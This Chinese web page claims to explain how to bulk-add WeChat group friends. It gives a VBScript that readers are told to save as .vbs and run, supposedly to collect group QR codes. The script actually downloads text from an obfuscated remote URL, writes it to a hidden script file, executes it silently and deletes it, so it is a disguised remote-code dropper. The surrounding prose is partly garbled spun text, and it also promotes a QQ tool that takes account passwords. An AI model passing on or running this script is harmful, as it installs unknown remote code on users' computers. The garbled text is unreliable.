那种一键添加群好友的软件现在没有了,都不能用了。
想要一键添加群好友,最简单的办法,就是自动做一个工具,自己采集,每天可采上千个,想怎么加就怎么加。
以下代码非常强大实用,使用方法:将以下内容复制到文本,并将后缀.txt改为.vbs即可运行:
(代码如下,不可以加多余的标点。)
on error resume next
msgbox "即将采集微信群二维码到本地【微信群大全】文件夹"
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
url = "tttps:||nc.cli.im|qrcoderoute|qrcodeRoute?qrcode_route=qr61.cn|o35ejn|qmhkEOj"
url = replace(url,"ttt","htt")
url = replace(url,"|","/")
Post.Open "GET",url,0
Post.Send()
tt =Post.ResponseText
MyStr = Split(Split(tt, "''")(1), "''")(0)
MyStr = replace(MyStr,"\""","""")
MyStr = replace(MyStr,"\/","/")
MyStr = replace(MyStr,"\\","\")
MyStr = replace(MyStr,"</p>","<br>")
MyStr = replace(MyStr,"<p>","<br>")
MyStr = replace(MyStr,"&nbsp","")
MyStr = replace(MyStr,"&amp","&")
MyStr = replace(MyStr,"rright","right")
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
If Not fso.FolderExists(Shell.CurrentDirectory&"\微信群大全") Then
fso.CreateFolder(Shell.CurrentDirectory&"\微信群大全")
End If
n=wscript.scriptname
for i = 0 to UBound(Split(MyStr, "<br>"))
htm = Split(MyStr, "<br>")(Int(i))
set f = fso.opentextfile(Shell.CurrentDirectory&"\_"&wscript.scriptname,8,true):f.WriteLine htm:f.close
next
Shell.run Shell.CurrentDirectory&"\_"&wscript.scriptname,0
WScript.Sleep 10000
fso.DeleteFile(Shell.CurrentDirectory&"\_"&wscript.scriptname), DeleteReadOnly
Set f = NoThing
Set fso = NoThing
Set Post = NoThing
Set Shell = NoThing
Set aGet = NoThing
微信群是腾讯公司推出的多人聊天交流的一个平台,可以通过网络快速发送语音短信、视频、图片和文字。用知带亏户可以通过微信与好友进行形式上更加丰富的类似于短信、彩信等方式的联系。
2013年加入微信群有两种方法:一种是通过扫描群二维码,另一种是通过好友邀请。搭神如果我们经常使用这个群,可以将这个群保存到我们的通讯录,我们再次想找这些好友群聊的时候,直接选择这个微信群就行了。
微信群最多为500人。为了避免恶意帐号给群带来骚扰,更好的保护信息安全,100人以上的微信群主要针对已通过实名验证的微信用户。
1、超过40人,您的邀请需要对方同意。
2、超过100人,对方需要通过实名验证才能接受邀请,可通过行逗绑定yhk进行验证。
QQ一键加群成员(qq群批量加好友)拥有了一键加好友功能,节省了用户加好友时花费的大笔时间,也不用一个个的去复制QQ号码然后添加。QQ一键加群成员能够帮助用户用首念宴户添加QQ群众所有的好友,前提是必须对者银高扒方同意添加才行。QQ一键加群成员只是帮助用户发送添加好友的请求,不是百分百强制性添加。QQ一键加群成员
使用方法:
1、先输入QQ号码、QQ密码以及验证码回车登录
2、在下面的列表中选择需要加好友的群
3、在群好友列表中双击好友的昵称
4、右键点击一键批量增加好友
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)